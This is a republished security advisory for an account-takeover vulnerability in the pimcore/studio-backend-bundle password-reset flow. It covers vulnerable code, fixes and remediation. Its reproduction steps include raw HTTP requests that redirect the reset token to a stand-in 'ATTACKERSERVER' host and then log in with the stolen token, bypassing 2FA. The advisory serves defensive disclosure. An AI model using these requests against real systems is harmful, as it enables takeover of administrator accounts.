GHSA-h854-c3m3-mh5v: High severity composer/pimcore/studio-backend-bundle vulnerability

Published Aug 28, 2026
·
Updated

Summary

An unauthenticated attacker takes over any Pimcore admin account by sending a password reset request with an attacker-controlled resetPasswordUrl. The server generates a real cryptographic recovery token, appends it to the attacker's URL, and emails the link to the victim. When the victim clicks the link in their email, the token is sent to the attacker's server. The attacker then uses POST /pimcore-studio/api/login/token to authenticate as the victim with full admin privileges. Token login explicitly disables two-factor authentication, so even accounts with TOTP/Google Authenticator are compromised.

Vulnerability Details

Unauthenticated Endpoint Accepts Attacker URL

The reset password endpoint at src/User/Controller/ResetPasswordController.php line 53 is public (uses PUBLICSTUDIOAPI voter). The ResetPassword schema at src/User/Schema/ResetPassword.php accepts a resetPasswordUrl string as a required parameter with zero validation. No URL scheme check, no domain allowlist, no comparison against the configured system domain.

php final readonly class ResetPassword { public function construct( private string $username, private string $resetPasswordUrl // attacker-controlled, no validation ) {} }

Token Appended to Attacker URL

In src/User/Service/UserLoginService.php at line 64-65, the service generates a real recovery token and concatenates the attacker's URL with the token:

php $token = $this->authenticationResolver->generateTokenByUser($user); $loginUrl = $resetPassword->getResetPasswordUrl() . '?token=' . $token;

The token is generated and stored in the database BEFORE sendResetPasswordMail() is called on line 68. Even if email delivery fails, the token exists.

Token Login Bypasses 2FA

src/Security/Authenticator/AdminTokenAuthenticator.php line 60 explicitly disables 2FA on token login:

php $pimcoreUser->setTwoFactorAuthentication('required', false);

Token Validity

The token is encrypted with the application secret, valid for 24 hours, and single-use (nullified after authentication). The attacker's server captures it before the victim completes any reset flow.

Steps to Reproduce

Tested on Pimcore 12.x (2026.x branch, latest commit 82f9ff6), Docker, PHP 8.4.

1. Send password reset with attacker URL (no authentication needed)

http POST /pimcore-studio/api/user/reset-password HTTP/1.1 Host: TARGET Content-Type: application/json

{"username":"admin","resetPasswordUrl":"https://ATTACKERSERVER:9999/steal"} <img width="1756" height="882" alt="image" src="https://github.com/user-attachments/assets/9cb90c8e-6c08-4cd6-980a-822bbd35dc23" />

- Response: 500 (email delivery failed in test env, but token def5020020bd133... visible in error trace, confirmed generated in DB

2. Confirm token was generated

Database query shows the recovery token was created:

name hastoken tokenprefix admin 1 def50200cdbd3c1292288a716c623f

3. Token login (after victim clicks the link in their email)

http POST /pimcore-studio/api/login/token HTTP/1.1 Host: TARGET Content-Type: application/json

{"token":"def50200cdbd3c1292288a716c623f...fulltoken..."}

Response:

HTTP/1.1 200 OK Set-Cookie: PHPSESSID=48d784c5bfcc09c8b897f2ab34038419; path=/; httponly; samesite=strict Set-Cookie: pimcorestudioauthprofiletoken=d7a9ad; path=/; httponly; samesite=lax <img width="1756" height="679" alt="image" src="https://github.com/user-attachments/assets/53bf8f30-47c1-4398-b386-9929b77a35b5" />

4. Verify full admin access with the stolen session

http GET /pimcore-studio/api/users HTTP/1.1 Host: TARGET Cookie: PHPSESSID=48d784c5bfcc09c8b897f2ab34038419

Response: HTTP/1.1 200 OK

json {"totalItems":1,"items":[{"id":1,"username":"admin","additionalAttributes":[]}]} <img width="1668" height="906" alt="image" src="https://github.com/user-attachments/assets/8f2b63b0-6357-4fe6-9689-35eb891de5ab" />

Full admin session obtained. All CMS content, assets, PIM data, user accounts, and system configuration are accessible.

Impact

An unauthenticated attacker who knows a valid admin username takes over the account with full administrative privileges. The only user interaction is the victim clicking a password reset link in a legitimate email from the Pimcore instance. The email comes from the real Pimcore server, making it indistinguishable from a genuine reset email.

The attack bypasses authentication (public endpoint), two-factor authentication (explicitly disabled on token login), and rate limiting (allows 3 attempts per window, trivially worked around with multiple IPs).

Once authenticated as admin, the attacker controls all CMS content, digital assets, PIM product data, user accounts, system configuration, and server-side code execution via class definitions.

Recommended Fix

Remove the resetPasswordUrl parameter entirely and construct the URL server-side from the configured system domain:

php $loginUrl = 'https://' . $this->domain . '/admin/login?token=' . $token;

If the frontend needs to specify the URL for multi-domain setups, validate the host against the configured domain and any registered Site domains.

Supporting Materials

- Live-tested on Pimcore 12.x (2026.x branch, Docker, PHP 8.4) - Package: pimcore/studio-backend-bundle - Distinct from CVE-2021-39189 (user enumeration in password reset, not URL injection)

Affected Software

2 affected componentsFixes available
composer/pimcore/studio-backend-bundle>=2026.1.0<2026.1.6
2026.1.6
composer/pimcore/studio-backend-bundle<2025.4.6
2025.4.6

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade composer/pimcore/studio-backend-bundle to a version that resolves this vulnerability.

    Fixed in 2026.1.6
  2. Upgrade

    Upgrade composer/pimcore/studio-backend-bundle to a version that resolves this vulnerability.

    Fixed in 2025.4.6
  3. Configuration

    In src/User/Schema/ResetPassword.php, do not accept the resetPasswordUrl string parameter; remove it from the required/accepted input. Instead, construct the reset-password URL server-side from the configured system domain (configured system domain should be the only source for the URL/host/scheme in password reset emails), with host validation against configured domain and registered Site domains if frontend URL selection is needed.

    Pimcore password reset flow ResetPassword schema parameter resetPasswordUrl = Remove the resetPasswordUrl parameter entirely
  4. Configuration

    In src/Security/Authenticator/AdminTokenAuthenticator.php, remove/avoid logic that explicitly disables two-factor authentication during token login (do not setTwoFactorAuthentication('required', false) for token-based authentication). Require 2FA for admin login even when authenticating via token.

    Pimcore Admin token authentication (token login) Two-factor authentication handling for token login = Do not disable 2FA on token login (keep 2FA required)
  5. Configuration

    Apply/adjust rate limiting for the admin token login endpoint POST /pimcore-studio/api/login/token so attempts cannot be trivially worked around (the material states the attack bypasses rate limiting with multiple IPs; ensure throttling is not solely IP-based or is otherwise resilient).

    Pimcore token login endpoint protection Authentication rate limiting / attempt window = Enforce rate limiting for token login attempts (not trivially bypassable)
  6. Operational

    Invalidate any existing password reset/recovery tokens and any admin sessions that may have been created from stolen token links; ensure admin accounts potentially affected are forced to re-authenticate and complete 2FA as required.

Event History

Aug 28, 2026
Advisory Published
via GitHub·07:04 PM
Data Sourced
via GitHub·07:04 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What does an attacker need to exploit this issue?

The attacker does not need to authenticate. They need to submit a password-reset request for a target admin account and control the resetPasswordUrl supplied in that request; the targeted user must then click the password-reset link sent by email.

2

Are accounts protected by two-factor authentication still at risk?

Yes. Authentication through POST /pimcore-studio/api/login/token explicitly disables two-factor authentication, so TOTP or Google Authenticator does not prevent account takeover through a stolen recovery token.

3

Which users can be compromised if exploitation succeeds?

Any Pimcore admin account whose user clicks the attacker-influenced password-reset link can be taken over. The attacker can then authenticate as that user with full admin privileges.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203